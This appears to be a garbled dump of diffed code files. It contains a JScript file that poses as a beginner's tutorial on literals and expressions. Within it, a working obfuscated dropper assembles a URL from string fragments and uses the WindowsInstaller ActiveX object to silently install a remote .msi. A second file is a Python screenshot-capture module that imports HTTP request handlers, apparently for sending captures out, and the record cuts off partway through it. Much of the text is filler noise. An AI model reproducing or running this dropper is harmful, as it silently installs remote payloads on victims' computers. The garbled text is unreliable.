const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtewne
|
code/0d11baf8a9bafb33046dc7c7256ccac6f5daaf512c9f5f5436f10a3d3b849463
ADDED
|
@@ -0,0 +1,1288 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# coding: utf-8
|
| 3 |
+
|
| 4 |
+
from __future__ import (unicode_literals, print_function)
|
| 5 |
+
|
| 6 |
+
__version__ = '1.0.2'
|
| 7 |
+
__author__ = ""
|
| 8 |
+
__copyright__ = ''''''
|
| 9 |
+
__all__ = ['mss', 'MSSWindows', 'ScreenshotError']
|
| 10 |
+
|
| 11 |
+
from struct import pack
|
| 12 |
+
from platform import system
|
| 13 |
+
from zlib import compress, crc32
|
| 14 |
+
import sys
|
| 15 |
+
from array import array
|
| 16 |
+
from struct import pack
|
| 17 |
+
from struct import Struct
|
| 18 |
+
from zlib import compress, crc32, decompress
|
| 19 |
+
from copy import copy
|
| 20 |
+
from struct import calcsize, unpack_from
|
| 21 |
+
from urllib.request import build_opener, Request, HTTPHandler, HTTPError
|
| 22 |
+
|
| 23 |
+
|
| 24 |
+
class ScreenshotError(Exception):
|
| 25 |
+
pass
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
if system() == 'Darwin':
|
| 29 |
+
pass
|
| 30 |
+
elif system() == 'Linux':
|
| 31 |
+
pass
|
| 32 |
+
elif system() == 'Windows':
|
| 33 |
+
from ctypes import c_void_p, create_string_buffer, sizeof, \
|
| 34 |
+
windll, Structure, POINTER, WINFUNCTYPE
|
| 35 |
+
from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, \
|
| 36 |
+
HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD
|
| 37 |
+
|
| 38 |
+
class BITMAPINFOHEADER(Structure):
|
| 39 |
+
_fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
|
| 40 |
+
('biPlanes', WORD), ('biBitCount', WORD),
|
| 41 |
+
('biCompression', DWORD), ('biSizeImage', DWORD),
|
| 42 |
+
('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
|
| 43 |
+
('biClrUsed', DWORD), ('biClrImportant', DWORD)]
|
| 44 |
+
|
| 45 |
+
class BITMAPINFO(Structure):
|
| 46 |
+
_fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]
|
| 47 |
+
else:
|
| 48 |
+
err = 'MSS: system "{0}" not implemented.'.format(system())
|
| 49 |
+
raise ScreenshotError(err)
|
| 50 |
+
|
| 51 |
+
|
| 52 |
+
class MSS(object):
|
| 53 |
+
def enum_display_monitors(self, screen=0):
|
| 54 |
+
raise NotImplementedError('MSS: subclasses need to implement this!')
|
| 55 |
+
|
| 56 |
+
def get_pixels(self, monitor):
|
| 57 |
+
raise NotImplementedError('MSS: subclasses need to implement this!')
|
| 58 |
+
|
| 59 |
+
def save(self,
|
| 60 |
+
output='screenshot-%d.png',
|
| 61 |
+
screen=0,
|
| 62 |
+
callback=lambda *x: True):
|
| 63 |
+
|
| 64 |
+
for i, monitor in enumerate(self.enum_display_monitors(screen)):
|
| 65 |
+
if screen <= 0 or (screen > 0 and i + 1 == screen):
|
| 66 |
+
fname = output
|
| 67 |
+
if '%d' in output:
|
| 68 |
+
fname = output.replace('%d', str(i + 1))
|
| 69 |
+
callback(fname)
|
| 70 |
+
dat = self.save_img(data=self.get_pixels(monitor),
|
| 71 |
+
width=monitor[b'width'],
|
| 72 |
+
height=monitor[b'height'],
|
| 73 |
+
output=fname)
|
| 74 |
+
yield fname, dat
|
| 75 |
+
|
| 76 |
+
def save_img(self, data, width, height, output):
|
| 77 |
+
|
| 78 |
+
zcrc32 = crc32
|
| 79 |
+
zcompr = compress
|
| 80 |
+
len_sl = width * 3
|
| 81 |
+
png_filter = pack(b'>B', 0)
|
| 82 |
+
scanlines = b''.join(
|
| 83 |
+
[png_filter + data[y * len_sl:y * len_sl + len_sl]
|
| 84 |
+
for y in range(height)])
|
| 85 |
+
|
| 86 |
+
magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10)
|
| 87 |
+
|
| 88 |
+
ihdr = [b'', b'IHDR', b'', b'']
|
| 89 |
+
ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0)
|
| 90 |
+
ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff)
|
| 91 |
+
ihdr[0] = pack(b'>I', len(ihdr[2]))
|
| 92 |
+
|
| 93 |
+
idat = [b'', b'IDAT', b'', b'']
|
| 94 |
+
idat[2] = zcompr(scanlines, 9)
|
| 95 |
+
idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff)
|
| 96 |
+
idat[0] = pack(b'>I', len(idat[2]))
|
| 97 |
+
|
| 98 |
+
iend = [b'', b'IEND', b'', b'']
|
| 99 |
+
iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff)
|
| 100 |
+
iend[0] = pack(b'>I', len(iend[2]))
|
| 101 |
+
|
| 102 |
+
# with open(output, 'wb') as fileh:
|
| 103 |
+
# fileh.write(
|
| 104 |
+
# magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend))
|
| 105 |
+
return magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend)
|
| 106 |
+
err = 'MSS: error writing data to "{0}".'.format(output)
|
| 107 |
+
raise ScreenshotError(err)
|
| 108 |
+
|
| 109 |
+
|
| 110 |
+
class MSSWindows(MSS):
|
| 111 |
+
def __init__(self):
|
| 112 |
+
|
| 113 |
+
self._set_argtypes()
|
| 114 |
+
self._set_restypes()
|
| 115 |
+
|
| 116 |
+
def _set_argtypes(self):
|
| 117 |
+
|
| 118 |
+
self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT),
|
| 119 |
+
DOUBLE)
|
| 120 |
+
windll.user32.GetSystemMetrics.argtypes = [INT]
|
| 121 |
+
windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p,
|
| 122 |
+
self.MONITORENUMPROC,
|
| 123 |
+
LPARAM]
|
| 124 |
+
windll.user32.GetWindowDC.argtypes = [HWND]
|
| 125 |
+
windll.gdi32.CreateCompatibleDC.argtypes = [HDC]
|
| 126 |
+
windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
|
| 127 |
+
windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ]
|
| 128 |
+
windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT,
|
| 129 |
+
DWORD]
|
| 130 |
+
windll.gdi32.DeleteObject.argtypes = [HGDIOBJ]
|
| 131 |
+
windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p,
|
| 132 |
+
POINTER(BITMAPINFO), UINT]
|
| 133 |
+
|
| 134 |
+
def _set_restypes(self):
|
| 135 |
+
|
| 136 |
+
windll.user32.GetSystemMetrics.restypes = INT
|
| 137 |
+
windll.user32.EnumDisplayMonitors.restypes = BOOL
|
| 138 |
+
windll.user32.GetWindowDC.restypes = HDC
|
| 139 |
+
windll.gdi32.CreateCompatibleDC.restypes = HDC
|
| 140 |
+
windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP
|
| 141 |
+
windll.gdi32.SelectObject.restypes = HGDIOBJ
|
| 142 |
+
windll.gdi32.BitBlt.restypes = BOOL
|
| 143 |
+
windll.gdi32.GetDIBits.restypes = INT
|
| 144 |
+
windll.gdi32.DeleteObject.restypes = BOOL
|
| 145 |
+
|
| 146 |
+
def enum_display_monitors(self, screen=-1):
|
| 147 |
+
|
| 148 |
+
if screen == -1:
|
| 149 |
+
SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
|
| 150 |
+
SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
|
| 151 |
+
left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
|
| 152 |
+
right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
|
| 153 |
+
top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
|
| 154 |
+
bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
|
| 155 |
+
yield ({
|
| 156 |
+
b'left': int(left),
|
| 157 |
+
b'top': int(top),
|
